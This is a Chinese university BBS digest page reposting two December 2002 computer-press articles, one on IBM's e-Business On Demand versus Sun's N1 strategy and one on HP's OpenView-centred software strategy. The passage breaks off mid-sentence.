日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: panden (香寒居士〜Merry Christmas！), 信区: Software 标 题: 中国计算机报：谁来决定未来IT的游戏规则？ 发信站: 日月光华 (2002年12月25日13:39:00 星期三), 站内信件 中国计算机报：谁来决定未来IT的游戏规则？ 2002-12-23 16:35　 转自： 赛迪网-中国计算机报 　　陈友梅 　　【赛迪网独家特稿】帕米萨诺在其就任IBM公司董事长一职时，宣布要拿出 100亿美元来推动公司最新的理念e-Business On Demand。 　　至此， 那些有能力制定未来网络计算游戏规则的IT寡头们已经全部表了态。 那么，未来IT该如何游戏，究竟谁说了算呢？ 　　是像IBM这样，大而全的IT巨头，还是像微软和Intel这样专精于某一领域的霸 主。虽然，后者正在努力淡化自己在PC时代留下的烙印，忙着穿上印有网络计算字 样的新外衣，但是就目前情况而言，像IBM这样囊括硬件产品系列、软件产品系列 和IT服务产品系列的航母型IT公司似乎更有发言权。 　　IT产业正在酝酿着的新一轮竞争，碰巧IBM和Sun同时处在了竞争的中心。 　　在帕米萨诺讲解他的被称为e-Business On Demand战略之前，IBM公司的竞争 对手、硅谷最有技术底蕴的公司之一的Sun公司，已经推出了面向未来网络计算环 境的全新的N1计划。 　　那是在Sun公司一年一度的网络大会上，当时麦克尼利腰挂写有“网络就是计 算机”字样的腰鼓，敲响了Sun公司N1计划启动的战鼓。通过N1计划，麦克尼利要 把计算、网络和存储资源虚拟成一个单一的系统，从而像管理公用事业那样来按需 、实时地管理网络上的计算资源。 　　与IBM的e-Business On Demand战略一样，Sun公司的N1计划同样也是公司面向 未来的发展理念。 　　仅仅从名称上看，IBM的e-Business On Demand与Sun的N1没有什么共同之处。 然而，当我们进入到这两个理念的技术实现层面时，却可以发现，两者间竟然是那 样惊人地相似，无论是两个理念所凭借的支撑技术，还是两者要达到的目的——让 未来的计算摆脱人为的控制，成为随取随用的虚拟“资源”。 　　看来，对IBM和Sun来说，双方的竞争已经超越了单纯的产品和服务，转化成为 了理念的竞争。 　　这本身其实就是一个信号，以IT架构为中心的竞争将会成为IT厂商新一轮竞争 的主要战场，而具体的表现形式则是公司间理念说服力的竞争。 　　IBM的e-Business On Demand所凭借的基础是自主计算，是计算资源自我恢复 、自我优化、自我适应等等能力在商业应用流程中的实现。 　　麦克尼利讲的N1要将蔓延在网络上的计算力看作是被管理的元素，计算机不过 是网络计算环境中的具体部件，系统将自发完成对网络计算资源的管理。 　　IBM是最先倡导电子商务的公司。为电子商务提供必要的和必需的基础架构， 是IBM在过去几年和可以预见的未来中对公司发展方向的定位。当前的 e-Business On Demand不过是在这一定位下发展而成的产物。 　　对Sun公司来说，最早提出的口号是“网络就是计算机”，然后是“将网络效 应发挥到极致”。很显然，Sun在定义自己对IT未来发展方向的理解时，有意无意 地突出的是公司对技术趋势的把握能力。也正因为如此， Sun One和N1在名称上充 满了技术的魅力。 　　据最新的消息显示，当IBM还在为其e-Business On Demand战略排兵布阵、规 划手头的产品线时，Sun公司已经推出了一款基于N1计划的服务器。这款服务器将 于2003年初面世。据悉，这款服务器使用了N1计划中的基础原理，可以使多个大型 的计算机集群系统能够像单一资源一样进行工作。 　　值得一提的是，不久前于北京召开的联想集团“Legend World”技术大会上， 联想谈到了所谓“关联”应用，并阐述了“关联”实现的条件和技术支撑“微网格 ”。
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: panden (香寒居士〜Merry Christmas！), 信区: Software 标 题: 惠普软件新战略:OpenView仍是当家花旦 发信站: 日月光华 (2002年12月25日13:40:17 星期三), 站内信件 惠普软件新战略:OpenView仍是当家花旦 （赛迪网-中国计算机报 阿甘　2002年12月23日 10:05） 【赛迪网讯】惠普副总裁全球软件销售及市场总裁Peter van der Fluit先生，在 参加完中国惠普公司与广东省科学技术研究院合作共建实验室仪式后，马不停蹄地 赶到北京，与等候在那里的惠普软件部亚太区市场总监赵崇昌见了面。Fluit此次 来华，还有一个重要任务是传达公司决策层在不久前制定的关于软件业务的新的发 展战略。 被“披露”的新战略 惠普软件部门约有20000名雇员，他们每年为惠普公司创造着50亿美元的营业收入 。目前，惠普公司是排名在IBM、微软、Oracle和SAP之后，世界第五大软件企业。 也许是排在第五的位置上太久了，惠普高级决策人希望惠普软件业务能够借助合并 带来的拉力，在未来的竞争中取得更好的业绩。 Fluit先生在接受记者采访时表示，惠普还将继续强化OpenView管理软件的功能， 使其能够适应现在以及未来的各种复杂的IT环境。 11月初，惠普软件业务部门披露了惠普新一波软件发展战略的主体框架：惠普将提 供一种新的架构，从而使得惠普公司的OpenView管理软件可以与在其网络管理架构 实用数据中心(UDC)中使用的软件紧密连接。大多数的业界评论家都认为，惠普软 件战略的发展框架是其应对IBM和Sun公司竞争的必然之举。 实际上，惠普已着手从事一项长期项目，使人们可以更容易地管理大型数据中心。 惠普希望将数百台服务器和存储系统融为一体，使管理员能了解整个网络的运作情 况。惠普将此构想称作“自适应基础设施”，并将它的UDC架构视作可以实现这一 目标的工具。在发展这类网络映射技术的同时，惠普还一直在加强OpenView管理软 件的性能。该软件可以检测各类硬件的状态。 OpenView风采依旧 在新的发展战略中，惠普软件的旗舰级产品OpenView仍在扮演着重要的角色。惠普 目前似乎已做好准备，打算将OpenView软件的各个部分与UDC技术相结合，创造出 一套包罗万象的大型管理软件套件。 Fluit先生在接受记者采访时表示，惠普还将继续强化OpenView管理软件的功能， 使其能够适应现在以及未来的各种复杂的IT环境。基于OpenView，惠普已经能够为 客户提供服务水平管理、集成管理、Web服务管理和存储管理等各种各样的解决方 案。 据惠普公司提供的数据，目前HP OpenView在全球的安装总量已达135000套，在全 球软件产品销售排名中名列第15位，管理着全球70%的Internet设备。Fluit表示， 在电信公司，在企业业务流程管理等应用中，OpenView还有很大的发展潜力。 合作发展惠普软件 惠普软件新发展战略是，取消自己的大部分中间件产品线，转而与微软和BEA系统 公司合作开发应用服务器技术。 本月初，惠普与微软公司加强了双方的合作关系。惠普将为微软公司Visual 